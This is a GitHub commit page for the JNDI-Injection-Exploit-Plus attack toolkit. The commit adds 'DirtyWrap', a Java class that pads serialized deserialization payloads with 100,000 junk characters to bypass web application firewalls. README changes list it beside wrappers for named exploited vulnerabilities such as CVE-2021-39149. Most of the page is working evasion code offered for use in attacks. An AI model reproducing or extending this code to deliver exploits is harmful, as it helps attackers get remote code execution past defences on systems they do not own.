Skip to content

Commit 49f7d43

Browse files
committed
Add DirtyWrap: Insert a lot of dirty data to bypass WAF
1 parent c551054 commit 49f7d43

File tree

4 files changed

+63
-1
lines changed

4 files changed

+63
-1
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,8 @@ Wrapper | Example Vuls
131131
Xstream | CVE-2021-39149
132132
Apereo | Apereo 4.1 Deserialization RCE
133133
JbossRemoting | Jboss Remoting Port Unserialization
134+
Gzip | Some yonyou interface use Gzip
135+
Dirty | Insert a lot of dirty data to bypass WAF
134136

135137
- Example
136138

README_zh.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -108,6 +108,8 @@ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "<ip>:<port>" -D "
108108
Xstream | CVE-2021-39149
109109
Apereo | Apereo 4.1 反序列化漏洞
110110
JbossRemoting | Jboss Remoting 服务反序列化
111+
Gzip | 用友组件的一些接口使用Gzip
112+
Dirty | 插入大量脏数据来绕过WAF检测
111113

112114
- 示例
113115

pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>2.3-SNAPSHOT</version>
9+
<version>2.4-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
package wrappers;
2+
3+
import common.Serializerable;
4+
5+
import java.io.IOException;
6+
import java.util.*;
7+
8+
public class DirtyWrap implements ObjectWrapper<byte[]> {
9+
public byte[] wrap(Object obj) throws IOException {
10+
Object wrapper = null;
11+
12+
String dirtyData = getLongString(100000);
13+
int type = (int)(Math.random() * 5) % 5 + 1;
14+
switch (type){
15+
case 0:
16+
List<Object> arrayList = new ArrayList<Object>();
17+
arrayList.add(dirtyData);
18+
arrayList.add(obj);
19+
wrapper = arrayList;
20+
break;
21+
case 1:
22+
List<Object> linkedList = new LinkedList<Object>();
23+
linkedList.add(dirtyData);
24+
linkedList.add(obj);
25+
wrapper = linkedList;
26+
break;
27+
case 2:
28+
HashMap<String,Object> map = new HashMap<String, Object>();
29+
map.put("a", dirtyData);
30+
map.put("b", obj);
31+
wrapper = map;
32+
break;
33+
case 3:
34+
LinkedHashMap<String,Object> linkedHashMap = new LinkedHashMap<String,Object>();
35+
linkedHashMap.put("a", dirtyData);
36+
linkedHashMap.put("b", obj);
37+
wrapper = linkedHashMap;
38+
break;
39+
default:
40+
case 4:
41+
TreeMap<String,Object> treeMap = new TreeMap<String, Object>();
42+
treeMap.put("a", dirtyData);
43+
treeMap.put("b", obj);
44+
wrapper = treeMap;
45+
break;
46+
}
47+
48+
return Serializerable.serialize(wrapper);
49+
}
50+
51+
public static String getLongString(int length){
52+
StringBuilder str = new StringBuilder();
53+
for (int i=0;i<length;i++){
54+
str.append("x");
55+
}
56+
return str.toString();
57+
}
58+
}

0 commit comments

Comments
 (0)